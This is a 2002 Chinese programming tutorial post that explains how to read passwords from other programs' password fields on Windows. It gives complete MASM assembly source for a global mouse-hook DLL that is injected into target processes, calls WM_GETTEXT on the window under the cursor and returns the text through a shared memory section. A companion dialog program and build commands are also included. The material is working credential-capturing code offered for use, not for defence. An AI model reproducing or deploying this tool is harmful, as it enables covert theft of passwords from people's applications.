获得Windows下的密码框密码,似乎是很多人感兴趣的话题,CSDN上问这类问题的人不计其数……这样看来,老罗也不能免俗啦,今天就让我跟大家探讨一下如何实现这一功能吧。^_^
我们知道,Windows下有一条功能很强劲的函数——SendMessage(),利用它能够实现很多意想不到的功能,例如获得密码框的密码就是其中一例。我们可以这样做:
char
szPsw[255];
SendMessage(hWnd, WM_GETTEXT, 255, (LPARAM)(LPCTSTR)szPsw);
通过发送消息 WM_GETTEXT 给目标窗口句柄,我们就能够获得密码框的密码了,可是它还有一点不足,就是无法在 Win2000/WinXP 里面获得密码。这是因为 Win2000 对这个方法作了防范(当然啦,老比因为这个问题已经业界被骂死了),只要你是对其他进程进行这个操作,就会失效。呵呵,这也就是为什么很多同类的软件到了 Win2000 就死翘翘的原因。 :)
那么是否就毫无办法了呢?当然不是!我们已经知道了失败的原因,就是不能在别的进程中使用这一函数……嗯?……聪明的你是不是已经想到了什么?
对了,只要我们能够在同一个进程中使用它,就可以实现了!如何做到“同一个进程”?呵呵,这又是一个问题。《Windows核心编程》的大牛 Jeffrey Richter 告诉我们,实现“同一进程”的办法有很多种,例如有通过注册表来插入DLL、使用远程线程插入DLL、使用特洛伊DLL来插入DLL、通过内存映射文件插入DLL……方法真的是有很多种,它们都能实现“同一个进程”这一目的,不过老罗觉得都不太理想,例如,使用远程线程是通过 CreateRemoteThread() 来插入DLL,但是这个 CreateRemoteThread() 在MSDN中是明确指出了不能在 Win9X 中使用的,也就是说,通用性要大打折扣。所以最后我决定使用鼠标钩子函数来实现!
聪明的读者可能还会问道:为什么用鼠标钩子就能实现了?其实答案很简单,因为密码框是一个 EDIT 控件,它肯定能够接收到鼠标消息,这样,我们的鼠标钩子函数就能够注入到远程的目标进程,这时的 SendMessage() 就是跟目标进程在同一个进程里面,是可以取出密码的。而且它有个非常好的地方:就是通用性强,理论上任何一个版本的 Windows 都能使用!!(我没有 WinXP ,所以只好说“理论上”啦,请有装 XP 的朋友帮忙试试,OK?)
明白了吧?最后还有一个细节问题——密码是在鼠标钩子函数里面获得的,那么如何返回给我们的主程序?老罗的做法是把密码作为全局共享变量,这样就可以在两个进程里面共享,我们的主程序就可以输出结果啦!
说了一大通废话,希望大家不要介意。下面我给出一个完整的例子,通过鼠标钩子函数注入远程进程获得任何一个版本 Windows 的密码框密码。(呵呵,好拗口啊!啊!别扔番茄!!)
----------
鼠标钩子函数的DLL ----------
文件名: HookDll.asm
--------------------------------------
;******************************************************
;程序名称:获取密码框的密码,适用于Win9x/WinMe/Win2000/WinXP
;作者:罗聪
;日期:2002-10-8
;出处:http://www.luocong.com(老罗的缤纷天地)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自“老罗的缤纷天地”(http://www.luocong.com)
;******************************************************
.386
.model
flat, stdcall
option casemap:none
include
\masm32\include\windows.inc
include \masm32\include\user32.inc
includelib
\masm32\lib\user32.lib
DllEntry
proto :HINSTANCE, :DWORD, :DWORD
MouseProc
proto :DWORD, :DWORD, :DWORD
GetPsw
proto
InstallHook proto :DWORD
UninstallHook
proto
.const
WM_MOUSEHOOK
equ WM_USER + 6
;共享段:
.data?
hHook
dd ?
hWnd
dd ?
szPsw
db 255 dup(?) ;关键语句!!!共享这个变量szPsw,以便在主程序中也能得到密码!
.data
hInstance
HINSTANCE 0
.code
DllEntry
proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
.if reason == DLL_PROCESS_ATTACH
push
hInst
pop hInstance
.endif
mov eax, TRUE
ret
DllEntry endp
GetPsw
proc
;关键!!返回密码!(前提是密码必须放在共享段!)
lea eax, szPsw
ret
GetPsw
endp
MouseProc
proc uses edx nCode:DWORD, wParam:DWORD,
lParam:DWORD
invoke CallNextHookEx, hHook, nCode, wParam, lParam
mov edx, lParam
assume edx: PTR MOUSEHOOKSTRUCT
;获得当前鼠标位置的窗口句柄:
invoke
WindowFromPoint, [edx].pt.x, [edx].pt.y
;发送一个消息给当前窗口,获得它的标题:
invoke SendMessage, eax, WM_GETTEXT, 255, addr szPsw
;发送一个消息给主程序,以便在主程序中能处理鼠标钩子函数:
invoke PostMessage, hWnd, WM_MOUSEHOOK, 0, 0
assume
edx: nothing
xor eax, eax
ret
MouseProc
endp
InstallHook
proc hwnd:DWORD
;启动鼠标钩子函数:
push hwnd
pop hWnd
invoke SetWindowsHookEx,
WH_MOUSE, addr MouseProc, hInstance, NULL
mov hHook, eax
ret
InstallHook endp
UninstallHook
proc
;卸载鼠标钩子函数:
invoke UnhookWindowsHookEx,
hHook
ret
UninstallHook endp
end
DllEntry
;******************** over ********************
;by
LC
编译这个DLL的时候记住要这样:(否则会失败哦!)
ml
/c /coff HookDll.asm
link /section:.bss,S /DLL /subsystem:windows /def:HookDll.def
HookDll.obj
----------
主程序调用 ----------
文件名: GetPsw.asm
-------------------------------
;******************************************************
;程序名称:获取密码框的密码,适用于Win9x/WinMe/Win2000/WinXP
;作者:罗聪
;日期:2002-10-8
;出处:http://www.luocong.com(老罗的缤纷天地)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自“老罗的缤纷天地”(http://www.luocong.com)
;******************************************************
.386
.model
flat, stdcall
option casemap:none
include
\masm32\include\windows.inc
include \masm32\include\kernel32.inc
include
\masm32\include\user32.inc
include HookDll.inc
includelib \masm32\lib\kernel32.lib
includelib
\masm32\lib\user32.lib
includelib HookDll.lib
WndProc proto :DWORD, :DWORD, :DWORD, :DWORD
.const
IDC_EDIT_OUTPUT
equ 3000
WM_MOUSEHOOK
equ WM_USER + 6
.data
szDlgName
db "lc_dialog",
0
szPsw db 255
dup(0)
.code
main:
invoke GetModuleHandle, NULL
invoke DialogBoxParam,
eax, offset szDlgName, 0, WndProc, 0
invoke ExitProcess, eax
WndProc
proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL
rect: RECT
.if
uMsg == WM_CLOSE
;卸载鼠标钩子:
invoke UninstallHook
invoke EndDialog,
hWnd, 0
.elseif
uMsg == WM_INITDIALOG
;获得主程序的rect:
invoke GetWindowRect, hWnd, addr rect
;把主程序设置成“始终在最前面”:
invoke SetWindowPos,
hWnd, HWND_TOPMOST, rect.left, rect.top, rect.right, rect.bottom, SWP_SHOWWINDOW
;鼠标钩子函数启动:
invoke
InstallHook, hWnd
;处理鼠标钩子函数的消息:
.elseif uMsg == WM_MOUSEHOOK
;获得密码:
invoke GetPsw
;输出:
invoke SetDlgItemText,
hWnd, IDC_EDIT_OUTPUT, eax
.else
mov eax, FALSE
ret
.endif
mov eax, TRUE
ret
WndProc
endp
end main
;********************
over ********************
;by LC
----------
主程序的资源文件 ----------
文件名: GetPsw.rc
-------------------------------------
#include "resource.h"
#define
IDC_EDIT_OUTPUT 3000
#define IDC_STATIC
-1
LC_DIALOG
DIALOGEX 0, 0, 195, 30
style DS_SETFONT | WS_MINIMIZEBOX | WS_VISIBLE
| WS_CAPTION | WS_SYSMENU
CAPTION "Get Password by LC, 2002-10-8"
FONT
9, "宋体", 0, 0, 0x0
BEGIN
LTEXT
"看看有什么:", IDC_STATIC, 5, 12, 50, 12
EDITTEXT
IDC_EDIT_OUTPUT, 60, 10, 130, 12, ES_AUTOHSCROLL |
NOT WS_BORDER, WS_EX_STATICEDGE
END
怎么样?看明白了吗?如果你还不太懂得鼠标钩子函数的编写,请先参考
Iczelion 的教程,到处都有哦!
假如还有什么疑问,那是我的水平问题,没跟大家解释得足够清楚,到时还请来信与我探讨!lcother@163.net
老罗于
2002-10-8
老罗的缤纷天地
http://www.luocong.com